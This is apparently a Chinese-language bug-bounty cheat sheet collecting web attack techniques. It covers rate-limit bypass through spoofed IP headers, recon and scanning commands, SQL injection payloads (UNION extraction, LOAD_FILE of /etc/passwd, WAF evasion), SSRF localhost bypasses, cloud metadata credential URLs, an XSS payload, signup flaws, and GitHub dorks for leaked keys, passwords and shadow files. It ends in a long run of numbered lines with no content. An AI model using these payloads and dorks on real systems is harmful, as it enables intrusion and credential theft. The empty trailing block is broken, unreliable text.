X-Forwarded-IP: IP
X-Client-IP: IP
X-Remote-IP: IP
X-Originating-IP: IP
X-Host: IP
X-Client: IP

#or use double X-Forwarded-For header
X-Forwarded-For:
X-Forwarded-For: IP

添加 HTTP 标头来欺骗 IP 并逃避检测

  • 这些是我迄今为止收集的绕过速率限制的标头。
1
2
3
4
5
6
7
8
9
10
11
12
X-Forwarded: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Forward-For: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
使用特殊字符绕过速率限制
  • 在电子邮件末尾添加空字节 (%00) 有时可以绕过速率限制。
  • 尝试在电子邮件后添加空格字符。 （未编码）
  • 一些有助于绕过速率限制的常见字符：%0d、%2e、%09、%20、%0、%00、%0d%0a、%0a、%0C
  • 在api端点末尾添加斜杠（/）也可以绕过速率限制。domain.com/v1/login->domain.com/v1/login/
使用 IP 旋转 Burp 扩展
  • 尝试更改用户代理、cookie…任何能够识别您身份的内容
  • 如果他们限制每个 IP 尝试 10 次，则每 10 次尝试都会更改标头内的 IP。更改其他标头
  • Burp Suite 的 Extension IP Rotate 在很多情况下都能很好地工作。确保您已经安装了 Jython。
  • 在这里您将获得所需的一切 - https://github.com/PortSwigger/ip-rotate

You can find some more here - https://medium.com/bugbountywriteup/bypassing-rate-limit-like-a-pro-5f3e40250d3c
You can find more with screenshot https://medium.com/@huzaifa_tahir/methods-to-bypass-rate-limit-5185e6c67ecd

参考

Recon

信息侦查工作流

  1. IP空间发现
  2. TLD、收购和归属关系
  3. 子域枚举
  4. 指纹识别
  5. Dorking
  6. 内容发现
  7. 参数发现

ASN 发现

目标的 ASN 发现：

使用 whois 的 ASN：

1
whois -h whois.cymru.com $(dig +short example.com)

注意：要小心，因为有时您可能会获得 VPS（例如数字海洋等）的 ASN。请勿使用它们。

使用 Nmap 和 ASN 发现与目标 ASN 相关的 IP

1
nmap --script targets-asn --script-args targets-asn.asn=<ASN Number>

使用 AMASS 收集公司情报

1
amass intel -org <Organisation name(not domain)>

ASN 的 ARIN：

https://whois.arin.net

站点：ASN 的 IPINFO

https://ipinfo.io

使用 AMASS 使用 ASN 的子域：

1
amass intel -asn <ASN_number>

归属发现

以收购或相关组织作为目标

  • wikipedia

  • Crunchbase

Crunchbase: Discover innovative companies and the people behind them

  • Owler
  • Accquiredby

AcquiredBy | Definitive list of bootstrapped acquisitions

  • LinkedIn

  • ReverseWhois using amass intel module

    1
    amass intel -d [domain.com](http://domain.com) -whois

  • BuiltWith

BuiltWith

  • Google dork:
1
intext:"copyright ©️ org_name"
  • Shodan Dork using HTTP favicon hashes
1
http.favicon.hash:<hash>

Favicon hash 可以用 favfreak 进行发现

子域枚举

那么，当您寻找通配符启用范围程序时，子域枚举非常重要。如果您能够获得其他人错过的独特子域，那么您就有机会获得一些漏洞

一般方法论
  • 被动的
  • 主动的
  • 排列组合
被动的

在此阶段，您必须使用尽可能多的资源来被动收集子域。如今，使用使用 API 密钥的社区标准工具并不难做到这一点

工具

  • Subfinder
  • Amass
  • Assetfinder
  • Findomain
主动的

在此阶段，您必须在目标主机上执行暴力破解，以查看单词列表中的单词是否解析为有效的子域

工具

  • ShuffleDNS
  • Aiodnsbrute
排列组合

在此阶段，您必须尝试子域。现在更改一下文字，看看它是否仍然有效

端口扫描

将域名转换为ip地址

while read l; do ip=$(dig +short $l|grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"|head -1);echo "[+] '$l' => $ip";echo $ip >> ips.txt;done < domains.txt

我们将使用 Masscan 来更快获得结果

Masscan -p1-65535 -iL ips.txt --max-rate 1800 -oG 输出.log

或者你可以使用Naabu、RustScan。

工具

  • AltDNS
  • DNSGen + ShuffleDNS

参考引用

你可以做很多事情。现在仅提及社区标准方法。将根据方法的出现定期更新。

框架

自动化框架可用于自动化整个工作流程

SQLI

以下是一些检测 SQL 注入漏洞的快速方法，但方法不限于此。有各种技巧和工具。

查找 Sqli 的方法

1.使用Burpsuite：
1
2
3
4
5
6
1. Capture the request using burpsuite.
2. Send the request to burp scanner.
3. Proceed with active scan.
4. Once the scan is finished, look for SQL vulnerability that has been detected.
5. Manually try SQL injection payloads.
6. Use SQLMAP to speed up the process.
2.使用waybackurls和其他一些工具：
1
2
3
4
5
6
1. sublist3r -d target | tee -a domains (you can use other tools like findomain, assetfinder, etc.)
2. cat domains | httpx | tee -a alive
3. cat alive | waybackurls | tee -a urls
4. gf sqli urls >> sqli
5. sqlmap -m sqli --dbs --batch
6. use tamper scripts
3.使用启发式扫描获取隐藏参数：
1
2
3
4
5
6
7
1. Use subdomain enumeration tools on the domain.
2. Gather all urls using hakcrawler, waybackurls, gau for the domain and subdomains.
3. You can use the same method described above in 2nd point.
4. Use Arjun to scan for the hidden params in the urls. 
5. Use --urls flag to include all urls.
6. Check the params as https://domain.com?<hiddenparam>=<value>
7. Send request to file and process it through sqlmap.
4. 使用不受信任的输入或特殊字符生成错误：
1
2
3
4
1. Submit single quote character ' & look for errors.
2. Submit SQL specific query.
3. Submit Boolean conditions such as or 1=1 and or 1=0, and looking application's response.
4. Submit certain payloads that results in time delay.

POST 方法

1. 查找带有 order by 或 group by 或having 的总列数：
1
2
3
4
5
6
7
Submit a series of ORDER BY clause such as 

    ' ORDER BY 1 --
      ' ORDER BY 2 --
    ' ORDER BY 3 --

    and incrementing specified column index until an error occurs.
2. 使用联合运算符查找易受攻击的列：
1
2
3
4
5
6
7
Submit a series of UNION SELECT payloads.

      ' UNION SELECT NULL --
    ' UNION SELECT NULL, NULL --
    ' UNION SELECT NULL, NULL, NULL --

  (Using NULL maximizes the probability that the payload will succeed. NULL can be converted to every commonly used data type.)
3. 使用concat()或group_concat()提取基本信息，如database()、version()、user()、UUID()

数据库版本

1
2
3
4
5
6
7
8
Oracle               SELECT banner FROM v$version
                     SELECT version FROM v$instance

Microsoft               SELECT @@version

PostgreSQL               SELECT version()

MySQL               SELECT @@version

数据库内容

1
2
3
4
5
6
7
8
9
10
11
Oracle        SELECT * FROM all_tables
          SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Microsoft       SELECT * FROM information_schema.tables
              SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

PostgreSQL       SELECT * FROM information_schema.tables
              SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

MySQL         SELECT * FROM information_schema.tables
              SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

显示版本、用户和数据库名称

1
' AND 1=2 UNION ALL SELECT concat_ws(0x3a,version(),user(),database())

使用group_concat()函数，用于连接返回结果的所有行。

1
' union all select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()–
4. 使用load_file() 访问系统文件。然后进行进一步的利用：
1
' UNION ALL SELECT LOAD_FILE ('/ etc / passwd')
5.绕过WAF：

SQL查询前使用Null字节。

1
%00' UNION SELECT password FROM Users WHERE username-'xyz'--

使用SQL内嵌注释序列。

1
'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/OM/**/Users/**/WHE/**/RE/**/username/**/LIKE/**/'xyz'--

URL编码

1
2
3
4
5
  for example :
/ URL encoded to %2f
* URL encoded to %2a

Can also use double encoding, if single encoding doesn't works. Use hex encoding if the rest doesn't work.

更改大小写（大写/小写）

使用SQLMAP篡改脚本。它有助于绕过 WAF/IDS/IPS。

6. 时间延误：
1
2
3
4
5
6
7
Oracle           dbms_pipe.receive_message(('a'),10)

Microsoft       WAITFOR DELAY '0:0:10'

PostgreSQL       SELECT pg_sleep(10)

MySQL           SELECT sleep(10)
7. 有条件的延误：
1
2
3
4
5
6
7
Oracle           SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual

Microsoft       IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'

PostgreSQL       SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

MySQL           SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a')

有助于在查找漏洞方面占据上风的资源和工具：

SSRF

什么是 SSRF？

在服务器端请求伪造 (SSRF) 攻击中，攻击者可以滥用服务器上的功能来读取或更新内部资源。攻击者可以提供或修改 URL，服务器上运行的代码将读取或提交数据。通过仔细选择 URL，攻击者可能能够读取服务器配置（例如 AWS 元数据）、连接到内部服务（例如支持 HTTP 的数据库）或对不打算公开的内部服务执行 POST 请求。

目标应用程序可以具有从 URL 导入数据、将数据发布到 URL 或以其他方式从可被篡改的 URL 读取数据的功能。攻击者通过提供完全不同的 URL 或操纵 URL 的构建方式（如路径遍历等）来修改对此功能的调用。

当被操纵的请求发送到服务器时，服务器端代码会获取被操纵的 URL 并尝试将数据读取到被操纵的 URL。通过选择目标 URL，攻击者可能能够从未直接暴露在互联网上的服务中读取数据：

  • 云服务器元数据——AWS等云服务在http://169.254.169.254/上提供REST接口，可以提取重要的配置，有时甚至可以提取身份验证密钥
  • 数据库 HTTP 接口— NoSQL 数据库（例如 MongoDB）在 HTTP 端口上提供 REST 接口。如果数据库预计仅供内部使用，则可能会禁用身份验证，攻击者可以提取内部 REST 接口的数据
  • 文件— 攻击者可能能够使用 file:// URI 读取文件。攻击者还可以使用此功能将不受信任的数据导入到仅从受信任来源读取数据的代码中，从而规避输入验证。

它的影响是什么？

恶意行为者可以检索系统上任意文件的内容，从而导致敏感信息暴露（密码、源代码、机密数据等）。

  1. 敏感数据暴露
  2. 未经身份验证的请求
  3. 端口扫描或跨站点端口攻击 (XSPA)
  4. 协议走私

测试 SSRF 漏洞的要点：

  1. 始终确保您代表公共服务器而不是从浏览器向后端服务器发出请求。

  2. 要从服务器获取数据，请尝试使用 http://localhost/xyz/ 和 http://127.0.0.1/xyz。

  3. 服务器可能有防火墙保护，如果可能的话，总是尝试绕过防火墙。

  4. 确保请求来自服务器而不是来自本地主机。

去哪里寻找：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
uri=
logout_redirect_uri=
url=
page=
proxy=
fwd=
forward=
u=
data=
page=
url=	
ret=	
r2=	
img=	
u	
return	
r	
URL	
next	
redirect	
redirectBack	
AuthState	
referer	
redir	
l	
aspxerrorpath	
image_path	
ActionCodeURL	
return_url	0
link	
q	
location	
ReturnUrl	
uri	
referrer	
returnUrl
forward	
file
rb	
end_display	
urlact	
from	
goto	
path	
redirect_url	
old	
pathlocation	
successTarget	
returnURL	
urlsito	
newurl	
Url	
back	
retour	
odkazujuca
r_link	
cur_url	
H_name	
ref	
topic	
resource	
returnTo	
home	0.2%
node	0.2%
sUrl	0.2%
href	0.2%
linkurl	0.2%
returnto	0.2%
redirecturl	0.2%
SL	0.2%
st	0.2%
errorUrl	0.2%
media	0.2%
destination	0.2%
targeturl	0.2%
return_to	0.2%
cancel_url	0.2%
doc	0.2%
GO	0.2%
ReturnTo	0.2%
anything	0.2%
FileName	0.2%
logoutRedirectURL	0.2%
list	0.2%
startUrl	0.2%
service	0.2%
redirect_to	0.2%
end_url	0.2%
_next	0.2%
noSuchEntryRedirect	0.2%
context	0.2%
returnurl	0.2%
ref_url	0.2%

1-SSRF针对服务器本身的攻击

在针对服务器本身的 SSRF 攻击中，攻击者会诱导应用程序通过环回网络接口向托管该应用程序的服务器发出 HTTP 请求。这通常涉及提供带有主机名的 URL，例如 127.0.0.1（指向环回适配器的保留 IP 地址）或 localhost。

基本本地主机有效负载：

1
2
3
4
5
6
7
8
9
10
http://127.0.0.1:port
http://localhost:port
https://127.0.0.1:port
https://localhost:port
http://[::]:port
http://0000::1:port
http://[0:0:0:0:0:ffff:127.0.0.1]
http://0/
http://127.1
http://127.0.1

重现步骤：

1-尝试使用burpcollab检查服务器是否从内部系统获取数据（与后端交互）

2-向本地主机发送请求

3-尝试以未经身份验证的用户身份执行敏感操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
**Bypasses for Localhost

1-**Bypass using HTTPS
https://127.0.0.1/
https://localhost/

2-Bypass localhost with [::]
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid

3-Bypass localhost with a domain redirection
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost

4-Bypass localhost with CIDR
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

5-Bypass using a decimal IP location
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/  = http://169.254.169.254

6-Bypass using IPv6/IPv4 Address Embedding
http://[0:0:0:0:0:ffff:127.0.0.1]

7-Bypass using malformed urls
localhost:+11211aaa
localhost:00011211aaaa

8-Bypass using rare address
http://0/
http://127.1
http://127.0.1

9-Bypass using URL encoding
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin

10-Bypass using tricks combination
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3

11-Bypass using enclosed alphanumerics
http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

12-Bypass filter_var() php function
0://evil.com:80;http://google.com:80/

13-Bypass against a weak parser
http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/

2-云实例的 SSRF URL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
AWS
http://instance-data
http://169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role

Google Cloud
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Azure:
http://169.254.169.254/metadata/v1/maintenance
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

IPv6 Tests:
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]

ECS Task: 
http://169.254.170.2/v2/credentials/

Digital Ocean:
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

Packetcloud:
https://metadata.packet.net/userdata

Oracle Cloud:
http://169.254.169.254/opc/v1/instance/

Alibaba Cloud:
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id
http://100.100.100.200/latest/user-data

影响：

攻击者可以通过隧道进入内部网络并访问敏感的内部数据，例如 AWS 元数据信息。

Blind SSRF

Blind SSRF 是指不直接向用户显示枚举数据的 SSRF，因此称为盲 SSRF。

标头注入：

找到它们的一种方法是将您的 burp 协作者域插入引用者标头（也称为主机标头注入）中。

1
2
3
4
GET /HTTP 1.1
Host: site.tld
User Agent: Firefox
Referrer: https://your_collaborator_instance.com

许多组织使用服务来分析哪个 URL 或服务将访问者引向其网站。这种类型的攻击的执行取决于底层服务，在我的例子中，服务器运行在 aws ec2 实例上，但我无法访问它的管理面板（192.168.192.168），因为它只对我执行查找，但不执行允许任何超出此范围的事情。在您遇到的不同网站和服务上尝试一下，您可能会很幸运。

我会列出更多，如果您发现了，请在这里列出，以便其他人从中受益。

SSTI

SSTI 寻找攻击向量

image

来源

工具

tplmap

注册功能（Sign Up Functionality）

实现注册功能：

我们将以学校网站（ school.org ）为例来学习注册功能的实现： 在此示例中，学生需要注册到school.org才能访问其学术教育资源。school.org的用户必须能够注册为会员，从而能够访问该网站的内容。

因此，学校可以通过两种方式实施注册流程：

  1. 手动注册 ——基于用户提供一系列特定用户信息进行注册。它通常包括姓名、电子邮件、密码、确认密码等形式，如下图所示。
  2. 社交注册 /OAuth — 通过Facebook 、Twitter或Google等社交媒体平台通过集成社交媒体源进行注册，用户可以登录第三方网站，而不是专门为该网站创建新帐户。

在本博客中，我将讨论手动注册中的错误。让我们为我们的下一个博客主题添加社交注册/OAuth。

利用注册功能：

重复注册/覆盖现有用户

重复注册是指应用程序允许我们使用相同的电子邮件地址、用户名或电话号码进行注册或注册。根据所执行的攻击类型，它可能会产生严重后果。

*重现步骤：*

  1. 在应用程序中创建第一个帐户，使用电子邮件abc@gmail.com和密码。
  2. 注销帐户并使用相同的电子邮件地址和不同的密码创建另一个帐户。
  3. 在某些情况下，您甚至可以尝试更改电子邮件大小写，例如从abc@gmail.com更改为
  4. 完成创建过程——并看到它成功
  5. 现在返回并尝试使用电子邮件和新密码登录。您已成功登录。

https://hackerone.com/reports/187714

https://shahjerry33.medium.com/duplicate-registration-the-thaving-twins-883dfee59eaf

https://blog.securitybreached.org/2020/01/22/用户帐户接管-via-signup-feature-bug-bounty-poc

注册页面中的名称/密码字段中的 DOS

通过发送非常长的字符串（100000 个字符），可能会对服务器造成拒绝服务攻击。这可能会导致网站不可用或无响应。通常此问题是由存在漏洞的字符串哈希实现引起的。当发送长字符串时，字符串哈希过程将导致CPU和内存耗尽。

*重现步骤：*

  1. 去注册表格。
  2. 填写表格并输入一长串密码
  3. 单击 Enter，如果它容易受到攻击，您将收到 500 Internal Server 错误。

https://shahjerry33.medium.com/long-string-dos-6ba8ceab3aa0

https://hackerone.com/reports/738569

https://hackerone.com/reports/223854

用户名、注册帐户名中的跨站脚本（XSS）

跨站脚本( XSS ) 是一种安全漏洞，通常出现在接受用户输入的网站和/或 Web 应用程序中。这会将恶意代码注入目标网站的内容中，使其成为网站的一部分，从而影响可能访问或查看该网站的受害者。

现在，为了测试 XSS 的注册页面，我们可以简单地在用户名、电子邮件、密码等字段中插入 XSS 有效负载。

用户名字段的有效负载：**<svg/onload=confirm(1)>**

电子邮件字段的有效负载：“><svg/onload=confirm(1)>”@xy

https://hackerone.com/reports/196989

https://hackerone.com/reports/470206

https://hackerone.com/reports/119090

注册页面无速率限制

速率限制算法用于根据会话缓存中的信息来检查是否必须限制用户会话（或 IP 地址）。在注册页面测试速率限制是一个好主意。

影响可以很好地解释。如果注册页面没有速率限制，恶意用户可能会生成成百上千个虚假帐户，导致应用程序数据库中充满虚假帐户，这可能会以多种方式影响业务。

您可以使用 Burp Intruder 轻松测试它。

  1. 捕获注册请求并将其发送给 Intruder。
  2. 添加不同的电子邮件作为有效负载。
  3. 启动Intruder，并检查是否返回200 OK。

https://hackerone.com/reports/905692

https://hackerone.com/reports/97609

https://hackerone.com/reports/262830

电子邮件验证不充分

电子邮件验证不足意味着应用程序未验证电子邮件 ID 或验证机制太弱而无法绕过。您可以使用以下一些常见方法轻松绕过电子邮件验证，例如：

  1. 强制浏览。 （直接导航到验证电子邮件后出现的文件）
  2. 响应或状态代码操纵。 （将 403 等错误响应状态替换为 200 可能很有用）
  3. 绕过的方法还有很多。提示：只需谷歌一下即可。

注册后绕过电子邮件验证：

1
2
3
4
5
6
7
1. Sing up on the web application as attacker@mail.com
2. You will receive a confirmation email on attacker@mail.com, do not open that link now.
3. The application may ask for confirming your email, check if it allows navigating to account settings page.
4. On settings page check if you can change the email.
5. If allowed, change the email to victim@mail.com.
6. Now you will be asked to confirm victim@mail.com by opening the confirmation link received on victim@mail.com, insted of opening the new link go to attacker@mail.com inbox and open the previous received link.
7. If the application verifies vitim@mail.com by using perivious verification link received on attacker mail, then this is a email verification bypass.

https://hackerone.com/reports/1040047

https://hackerone.com/reports/617896

https://hackerone.com/reports/737169

路径覆盖

如果应用程序允许用户使用直接路径 /{username} 检查他们的个人资料，则始终尝试使用系统保留的文件名进行注册，例如index.php、signup.php、login.php等。在某些情况下，这里发生的情况是，当您使用用户名注册时：index.php现在访问 target.tld/index.php 时，您的个人资料将出现并占据应用程序的 index.php 页面。同样，如果攻击者能够使用用户名注册login.php，想象一下登录页面被接管。

https://infosecwriteups.com/ological-flaw-resulting-path-hijacking-dd4d1e1e832f

参考

https://twitter.com/kushagrasarathe/status/1385111472385060867?s=19

敏感信息泄露（Sensitive Info Leaks）

Github 侦查方式

使用 Github 我们可以找到敏感信息。

Step

  1. 检查 github 上的公司名称以获取 API 密钥或密码。

  2. 从 linkedin 和 Twitter 枚举该公司的员工，并检查他们在 github 上的存储库是否有敏感信息。

  3. 检查主网站和子域的源代码，以获取 html 注释或任何地方的 github 链接。使用ctl-F 搜索并搜索关键字 github

工具和参考

报告

GitHub Dork 列表：

用于查找文件的 GitHub Dorks

filename:manifest.xml

filename:travis.yml

filename:vim_settings.xml

filename:database

filename:prod.exs NOT prod.secret.exs

filename:prod.secret.exs

filename:.npmrc _auth

filename:.dockercfg auth

filename:WebServers.xml

filename:.bash_history

filename:sftp-config.json

filename:sftp.json path:.vscode

filename:secrets.yml password

filename:.esmtprc password

filename:passwd path:etc

filename:dbeaver-data-sources.xml

path:sites databases password

filename:config.php dbpasswd

filename:prod.secret.exs

filename:configuration.php JConfig password

filename:.sh_history

shodan_api_key language:python

filename:shadow path:etc

JEKYLL_GITHUB_TOKEN

filename:proftpdpasswd

filename:.pgpass

filename:idea14.key

filename:hub oauth_token

HEROKU_API_KEY language:json

HEROKU_API_KEY language:shell

SF_USERNAME salesforce

filename:.bash_profile aws

extension:json api.forecast.io

filename:.env MAIL_HOST=smtp.gmail.com

filename:wp-config.php

extension:sql mysql dump

filename:credentials aws_access_key_id

filename:id_rsa or filename:id_dsa

用于查找语言的 GitHub Dorks

language:python username

language:php username

language:sql username

language:html password

language:perl password

language:shell username

language:java api

HOMEBREW_GITHUB_API_TOKEN language:shell

用于查找 API 密钥、令牌和密码的 GiHub Dorks

api_key

“api keys”

authorization_bearer:

oauth

auth

authentication

client_secret

api_token:

“api token”

client_id

password

user_password

user_pass

passcode

client_secret

secret

password hash

OTP

user auth

GitHub Dorks 用于查找用户名

user:name (user:admin)

org:name (org:google type:users)

in:login ( in:login)

in:name ( in:name)

fullname:firstname lastname (fullname: )

in:email (data in:email)

GitHub Dorks for Finding Information using Dates

created:<2012–04–05

created:>=2011–06–12

created:2016–02–07 location:iceland

created:2011–04–06..2013–01–14 in:username

GitHub Dorks 使用扩展查找信息

extension:pem private

extension:ppk private

extension:sql mysql dump

extension:sql mysql dump password

extension:json api.forecast.io

extension:json mongolab.com

extension:yaml mongolab.com

[WFClient] Password= extension:ica

extension:avastlic support.avast.com

extension:json googleusercontent client_secret

Github Dorks All

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
